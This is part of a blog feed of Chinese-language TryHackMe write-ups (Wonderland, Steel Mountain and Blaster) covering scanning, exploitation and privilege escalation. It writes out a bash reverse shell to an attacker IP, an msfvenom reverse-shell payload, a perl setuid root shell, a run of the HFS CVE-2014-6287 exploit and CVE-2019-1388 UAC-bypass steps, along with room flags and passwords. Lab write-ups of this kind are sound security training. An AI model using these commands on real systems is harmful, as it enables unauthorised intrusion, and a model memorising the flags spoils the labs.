&lt;li&gt;進入 rabbit 後，發現他的家目錄有一個 &lt;code&gt;teaParty&lt;/code&gt; 的檔案透過 &lt;code&gt;file teaParty&lt;/code&gt; 檢查會發現他是一個 ELF 執行檔&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ec2d6-9qL5oDi.png"&gt;透過 &lt;code&gt;ls -al teaParty&lt;/code&gt; 會發現他有 SUID- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bd021-SYqw5mF.png"&gt;那不管了，我們先執行看看ㄅ!- &lt;code&gt;./teaParty&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b7218-Zc4fGaO.png"&gt;&lt;/li&gt;
&lt;li&gt;噴了一些字，還有當前時間就卡住了，感覺可以讓我輸入一些字，那就先隨便輸入個 &lt;code&gt;meow&lt;/code&gt; 看看ㄅ&lt;/li&gt;
&lt;li&gt;哇…… 噴出了 &lt;code&gt;Segmentation fault (core dumped)&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/99d8e-Eni6IZo.png"&gt;&lt;/li&gt;
&lt;li&gt;母…母湯阿，不會在這邊要開始打 &lt;code&gt;pwn&lt;/code&gt; 了吧 QWQ好吧，那我們先把檔案抓出來分析看看- &lt;code&gt;cp teaParty /tmp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;chmod 777 /tmp/teaParty&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;本機&lt;code&gt;scp alice@10.10.166.15:/tmp/teaParty .&lt;/code&gt;透過 Cutter 打開- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/405e6-5QJYvOD.png"&gt;&lt;/li&gt;
&lt;li&gt;觀察 &lt;code&gt;main&lt;/code&gt; 函數會發現，先會 set &lt;code&gt;uid&lt;/code&gt; 跟 &lt;code&gt;gid&lt;/code&gt; 為 0x3eb = 1003&lt;/li&gt;
&lt;li&gt;先觀察一下 uid、gid 1003 是誰&lt;code&gt;cat /etc/passwd | grep 1003&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3de56-ZXCPLk5.png"&gt;&lt;/li&gt;
&lt;li&gt;會發現是一個叫做 &lt;code&gt;hatter&lt;/code&gt; 的使用者關於逆向這個程式，很明顯的重點就是以下三行- &lt;code&gt;setuid(0x3eb);&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;setgid(0x3eb);&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;system(&amp;quot;/bin/echo -n \'Probably by \' &amp;amp;&amp;amp; date --date=\'next hour\' -R&amp;quot;);&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;然後他的 &lt;code&gt;Segmentation fault&lt;/code&gt; 是假的7777777777777777777我們可以發現他的 system 裡面主要 call 了兩個東西- 第一個是 &lt;code&gt;/bin/echo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;第二個是 &lt;code&gt;date&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;在這邊我先查詢了 &lt;code&gt;/bin/echo&lt;/code&gt; 以及 &lt;code&gt;/bin/date&lt;/code&gt; 發現都不可以修改想到我們可以做什麼事情了嗎?- 程式裡面的 &lt;code&gt;system&lt;/code&gt; 呼叫的是 &lt;code&gt;date&lt;/code&gt; 而不是 &lt;code&gt;/bin/date&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;而在 Linux 中，如果不寫完整的路徑，就會去&lt;code&gt;$PATH&lt;/code&gt;裡面抓&lt;/li&gt;
&lt;li&gt;所以我們可以修改 &lt;code&gt;$PATH&lt;/code&gt; ，增加路徑，並放上我們自己ㄉ &lt;code&gt;date&lt;/code&gt; 檔案放一個 reverse shell&lt;code&gt;/bin/bash -c '/bin/bash -i &amp;gt;&amp;amp; /dev/tcp/10.13.21.55/7877 0&amp;gt;&amp;amp;1'&lt;/code&gt;再給他權限- &lt;code&gt;chmod +x date&lt;/code&gt;攻擊機準備好 reverse shell- &lt;code&gt;nc -vlk 7877&lt;/code&gt;再輸入以下指令- &lt;code&gt;PATH=/home/rabbit:$PATH ./teaParty&lt;/code&gt;就可以收到 reverse shell 了!!- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/67027-ZZ9wpv0.png"&gt;&lt;/li&gt;
&lt;li&gt;我們目前到了 &lt;code&gt;hatter&lt;/code&gt; 使用者&lt;/li&gt;
&lt;li&gt;在根目錄可以發現一組 &lt;code&gt;WhyIsARavenLikeAWritingDesk?&lt;/code&gt; 密碼，可以以此用 ssh 登入 hatter&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ssh hatter@10.10.166.15&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;先透過 scp 把 linpeas 給傳到機器中&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a70ee-2Qlr3yo.png"&gt;輸入 &lt;code&gt;bash linpeas.sh&lt;/code&gt;- 發現一些有趣的東西在 &lt;code&gt;Capabilities&lt;/code&gt; 的地方可以看到- Files with capabilities&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/57684-hPtNFxo.png"&gt;&lt;/li&gt;
&lt;li&gt;發現 perl 有 &lt;code&gt;cap_setuid&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;去 &lt;a href="https://gtfobins.github.io/"&gt;GTFObins&lt;/a&gt; 上找就找到了 GTFObins 上面的 &lt;a href="https://gtfobins.github.io/gtfobins/perl/#capabilities"&gt;perl Capabilities&lt;/a&gt;- &lt;code&gt;perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec &amp;quot;/bin/sh&amp;quot;;'&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/25e63-bveY1BS.png"&gt;&lt;/li&gt;
&lt;li&gt;就發現了我們拿到 root !!也就順利的拿到了 root 的 flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6d47d-aSVKD2j.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;thm{Twinkle, twinkle, little bat! How I wonder what you’re at!}&lt;/code&gt;到 /root 看看有什麼東西- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d55ea-HFeDVn0.png"&gt;&lt;/li&gt;
&lt;li&gt;找到了 &lt;code&gt;user.txt``thm{&amp;quot;Curiouser and curiouser!&amp;quot;}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;del&gt;把user.txt放在root目錄是不是搞錯了什麼&lt;/del&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Steel Mountain (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/08/05/steel-mountain-try-hack-me-writeup/</link><pubDate>Thu, 05 Aug 2021 13:24:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/05/steel-mountain-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/steelmountain"&gt;https://tryhackme.com/room/steelmountain&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.27.172&lt;/p&gt;
&lt;h2 id="scan"&gt;Scan&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rustscan -a 10.10.27.172&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cffee-tvomY1S.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nmap -A 10.10.27.172&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-05 01:58 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Nmap scan report for 10.10.27.172
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host is up (0.27s latency).
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Not shown: 989 closed ports
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;80/tcp open http Microsoft IIS httpd 8.5
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Potentially risky methods: TRACE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-IIS/8.5
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Site doesn&amp;#39;t have a title (text/html).
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;135/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;139/tcp open netbios-ssn Microsoft Windows netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3389/tcp open ssl/ms-wbt-server?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssl-cert: Subject: commonName=steelmountain
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid before: 2021-08-04T05:45:04
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_Not valid after: 2022-02-03T05:45:04
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssl-date: 2021-08-05T05:59:31+00:00; 0s from scanner time.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;8080/tcp open http HttpFileServer httpd 2.3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: HFS 2.3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: HFS /
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49152/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49153/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49154/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49155/tcp open unknown
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49156/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host script results:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_nbstat: NetBIOS name: STEELMOUNTAIN, NetBIOS user: , NetBIOS MAC: 02:5d:12:51:16:37 (unknown)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| account_used:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| authentication_level: user
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| challenge_response: supported
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ message_signing: disabled (dangerous, but default)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 2.02:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Message signing enabled but not required
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-time:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| date: 2021-08-05T05:59:18
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ start_date: 2021-08-05T05:44:25
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Nmap done: 1 IP address (1 host up) scanned in 90.76 seconds
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;觀察首頁http://10.10.27.172/&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9cfb8-B9oU5Rr.png"&gt;&lt;/li&gt;
&lt;li&gt;有一個 Employee of the month圖片網址 http://10.10.27.172/img/BillHarper.pngWho is the employee of the month?- &lt;code&gt;Bill Harper&lt;/code&gt;Scan the machine with nmap. What is the other port running a web server on?- 8080Take a look at the other web server. What file server is running?- 透過 NMAP 可以發現 HttpFileServer&lt;/li&gt;
&lt;li&gt;公司叫做 rejetto&lt;/li&gt;
&lt;li&gt;所以答案 &lt;code&gt;Rejetto Http File Server&lt;/code&gt;HFS 的版本 &lt;code&gt;2.3&lt;/code&gt; 可以找到有一個CVE- &lt;a href="https://www.exploit-db.com/exploits/39161"&gt;https://www.exploit-db.com/exploits/39161&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CVE-2014-6287&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="exploit"&gt;Exploit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;下載檔案到 kali&lt;code&gt;wget https://www.exploit-db.com/download/39161 -O 39161.py&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;修改內部的 ip 及 port&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ip_addr = &amp;quot;10.13.21.55&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;local_port = &amp;quot;7878&amp;quot;&lt;/code&gt;這邊的 port 是指 reverse shell 的port另外依照 exploit 需求，需要在攻擊機 80 port 開一個 webserver，並在根目錄放一個 &lt;code&gt;nc.exe&lt;/code&gt;- &lt;code&gt;nc.exe&lt;/code&gt; 可以從這邊取得https://github.com/int0x33/nc.exe/blob/master/nc.exe&lt;code&gt;sudo python3 -m http.server 80&lt;/code&gt;- 使用 python 開啟 80 port 的 webserver並於本地端開啟 nc 監聽- &lt;code&gt;nc -l 7877&lt;/code&gt;執行 exploit- &lt;code&gt;python 39161.py 10.10.27.172 8080&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d6bd5-DZRh2qx.png"&gt;就可以收到 shell ㄌ!- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/57bd7-gDf00JU.png"&gt;&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;whoami&lt;/code&gt; 確認使用者名稱&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7995e-b5RWX79.png"&gt;在使用者的桌面找到 user flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a5b67-kPPBKKU.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;b04763b6fcf51fcd7c13abc7db4fd365&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="觀察提權資訊"&gt;觀察提權資訊&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;輸入 &lt;code&gt;systeminfo&lt;/code&gt; 可以觀察到&lt;code&gt;Microsoft Windows Server 2012 R2 Datacenter&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cfe36-rOMp0al.png"&gt;下載 WinPeas.exe 進行掃描- &lt;code&gt;powershell -c wget http://10.13.21.55:8000/winPEASx64.exe -outFile winPEASx64.exe&lt;/code&gt;執行 Winpeas 發現有可疑ㄉ引號路徑漏洞- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d9f31-e0xm9JH.png"&gt;觀察 Services- 可以輸入 &lt;code&gt;powershell -c Get-Service&lt;/code&gt; 觀察目前的所有 Services&lt;/li&gt;
&lt;li&gt;WinPeas 也已經很好心的告訴我們是 &lt;code&gt;AdvancedSystemCareService9&lt;/code&gt; 了確認檔案與 Services 的權限- 先準備 &lt;a href="https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk"&gt;https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk&lt;/a&gt; 在攻擊機&lt;/li&gt;
&lt;li&gt;&lt;code&gt;powershell -c wget http://10.13.21.55:8000/accesschk.exe -outFile accesschk.exe&lt;/code&gt;觀察 Services 權限- &lt;code&gt;accesschk.exe /accepteula -ucqv AdvancedSystemCareService9&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/450e8-gmO6qI7.png"&gt;&lt;/li&gt;
&lt;li&gt;可以發現我們的使用者 bill&lt;/li&gt;
&lt;li&gt;可以幫 services&lt;code&gt;Start&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Stop&lt;/code&gt;觀察檔案權限- &lt;code&gt;accesschk -uwdq &amp;quot;C:\Program Files (x86)\&amp;quot;&lt;/code&gt;可以看到我們沒有權限&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/478fd-3X20RSe.png"&gt;&lt;code&gt;accesschk -uwdq &amp;quot;C:\Program Files (x86)\IoBit&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c656b-9yC2NTI.png"&gt;&lt;/li&gt;
&lt;li&gt;發現我們有 RW 權限!!透過 msfevon 產出一個 reverse shell- &lt;code&gt;msfevon -p windows/x64_shell_reverse_tcp LHOST=10.13.21.55 LPORT=8877 -f exe -a Advanced.exe&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c7697-5lMroiV.png"&gt;下載檔案並放置到 &lt;code&gt;C:\Program Files (x86)&lt;/code&gt;- &lt;code&gt;powershell -c wget http://10.13.21.55:8000/Advanced.exe -outFile Advanced.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c8151-7FIBZMQ.png"&gt;&lt;/li&gt;
&lt;li&gt;準備 reverse shell 監聽&lt;code&gt;nc -vlk 8877&lt;/code&gt;觀察 services- &lt;code&gt;sc qc AdvancedSystemCareService9&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6deb1-tgYWwGx.png"&gt;qc : Query system config停止 services- &lt;code&gt;sc stop AdvancedSystemCareService9&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/44b14-dSdNw65.png"&gt;重啟 services- &lt;code&gt;sc start AdvancedSystemCareService9&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ac690-a9x5ekb.png"&gt;&lt;/li&gt;
&lt;li&gt;會發現畫面卡住，因為我們的 reverse sehll 已經接上了!!&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/daaf6-AneRNlp.png"&gt;取得 root flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bf48b-G8cXc1F.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;9af5f314f57607c00fd09803a587db80&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Blaster (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/08/04/blaster-try-hack-me-writeup/</link><pubDate>Wed, 04 Aug 2021 23:52:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/04/blaster-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/blaster"&gt;https://tryhackme.com/room/blaster&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP: 10.10.188.122&lt;/p&gt;
&lt;p&gt;先寫在前面，這一題初學者不建議打，官方的影片跟 Writeup 都不完全適用，可能是作者重新 Deploy 過題目或是做過一些升級，所以整題難度高了非常多 QQ&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;老梗 &lt;code&gt;nmap -A 10.10.188.122&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3da4d-RZvanHI.png"&gt;&lt;/li&gt;
&lt;li&gt;發現有開兩個 port80&lt;/li&gt;
&lt;li&gt;3389How many ports are open on our target system?- 2Looks like there&amp;rsquo;s a web server running, what is the title of the page we discover when browsing to it?- nmap 就告訴我們ㄌ&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IIS Windows Server&lt;/code&gt;Interesting, let&amp;rsquo;s see if there&amp;rsquo;s anything else on this web server by fuzzing it. What hidden directory do we discover?- 預設的 &lt;code&gt;dirsearch&lt;/code&gt; 找不到東西&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3c389-STu7dF0.png"&gt;這邊我用了 &lt;code&gt;dirb&lt;/code&gt; 的 &lt;code&gt;big&lt;/code&gt; Wordlist- &lt;code&gt;python3 dirsearch.py -u http://10.10.188.122 -e all -w /usr/share/dirb/wordlists/big.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a4f50-AMoCMh4.png"&gt;&lt;/li&gt;
&lt;li&gt;掃到ㄌ http://10.10.188.122/retro/透過 Wappalyzer 可以觀察到- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/73e12-hCmTpBu.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/edf4d-XX4DVBz.png"&gt;&lt;/li&gt;
&lt;li&gt;他是一個 WordpressNavigate to our discovered hidden directory, what potential username do we discover?- Po 文者都是 &lt;code&gt;Wade&lt;/code&gt;Crawling through the posts, it seems like our user has had some difficulties logging in recently. What possible password do we discover?- 發現一篇文章&lt;code&gt;Ready Player One I can’t believe the movie based on my favorite book of all time is going to come out in a few days! Maybe it’s because my name is so similar to the main character, but I honestly feel a deep connection to the main character Wade. I keep mistyping the name of his avatar whenever I log in but I think I’ll eventually get it down. Either way, I’m really excited to see this movie!&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;他說他最喜歡的書是 &lt;code&gt;Ready Player One&lt;/code&gt; (一級玩家)&lt;/li&gt;
&lt;li&gt;他的名字跟主角很像，主角是 &lt;code&gt;Wade Owen Watts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;然後他說他常常在登入時打錯他的 avatar抱歉我英文不好，查了之後才知道&lt;code&gt;avatar : （網路遊戲或網路聊天室中的）虛擬化身&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;所以應該是電影裡面的角色名稱在這邊查詢 &lt;code&gt;https://hero.fandom.com/wiki/Parzival_(Ready_Player_One)&lt;/code&gt;- 可以找到 &lt;code&gt;Wade Owen Watts, under the virtual name Parzival&lt;/code&gt;所以他的密碼是 &lt;code&gt;parzival&lt;/code&gt;- 大小寫都 try 了一次，發現是全小寫&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="rdp"&gt;RDP&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;透過 RDP 登入遠端系統&lt;code&gt;xfreerdp +drives /u:Wade /v:10.10.151.248:3389&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用密碼 &lt;code&gt;parzival&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;即可順利登入&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/30163-Jf6GS9P.png"&gt;取得 user flag- &lt;code&gt;THM{HACK_PLAYER_ONE}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/837a7-OctDXza.png"&gt;開始工具列搜尋 &lt;code&gt;system infomation&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/da0e3-DjCfuSY.png"&gt;&lt;/li&gt;
&lt;li&gt;可以看到作業系統的版本等資訊嘗試使用 winPEAS 來搜可以提權的點- powershell &lt;code&gt;wget http://10.13.21.55:8000/winPEAS.bat -outfile winPEAS.bat&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c9b1d-hQCZjBk.png"&gt;有 Defender 把我吃掉ㄌ QQQQ這邊依照官方的Writeup 以及教學，理論上可以在 IE 的瀏覽紀錄上找到一些蛛絲馬跡- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8479e-SPVazkE.png"&gt;&lt;/li&gt;
&lt;li&gt;但我這邊看到基本上是空的QQQQ&lt;/li&gt;
&lt;li&gt;好吧，那就當作這題是困難版的，繼續嘗試&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="可疑的檔案"&gt;可疑的檔案&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;在桌面上找到 &lt;code&gt;hhupd.exe&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/214f9-51pZngN.png"&gt;直接丟去 Google 就會看到- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9f566-44Ojajv.png"&gt;CVE-2019-1388 提權When enumerating a machine, it&amp;rsquo;s often useful to look at what the user was last doing. Look around the machine and see if you can find the CVE which was researched on this server. What CVE was it?- 完成正規解可以在瀏覽器蛛絲馬跡上找到的答案QQ&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CVE-2019-1388&lt;/code&gt;Looks like an executable file is necessary for exploitation of this vulnerability and the user didn&amp;rsquo;t really clean up very well after testing it. What is the name of this executable?- 桌面上的檔案 &lt;code&gt;hhupd&lt;/code&gt;透過觀察網路上的資源- &lt;a href="https://github.com/jas502n/CVE-2019-1388"&gt;https://github.com/jas502n/CVE-2019-1388&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;可以發現 CVE-2019-1388 是一個很酷ㄉ洞，基本實作細節如下1. 對著 &lt;code&gt;hhupd&lt;/code&gt; 點兩下&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/24553-XkwHyEL.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;跳出 UAC 後，選 show more details- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9ed52-dtuDTnO.png"&gt;&lt;/li&gt;
&lt;li&gt;選擇 &lt;code&gt;Show infomation about the publisher's certificate&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d5b23-LJZMN3W.png"&gt;&lt;/li&gt;
&lt;li&gt;點選 Issued by: 後面的超連結- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5aff2-9VoaaDW.png"&gt;&lt;/li&gt;
&lt;li&gt;這個時候畫面還是顯示憑證資訊，我們可以按 OK 先關掉&lt;/li&gt;
&lt;li&gt;再按 No 關閉 UAC&lt;/li&gt;
&lt;li&gt;這個時候出現的 IE，而這個IE就是以 system 權限跑起來的- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3df76-cXh7MGi.png"&gt;&lt;/li&gt;
&lt;li&gt;我們可以按下 ctrl + s 把網頁存檔，目的主要是為了叫出存檔的框框&lt;/li&gt;
&lt;li&gt;這個時候會跳出一個錯誤，不重要，直接按下 OK- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c88af-NBmKhd5.png"&gt;&lt;/li&gt;
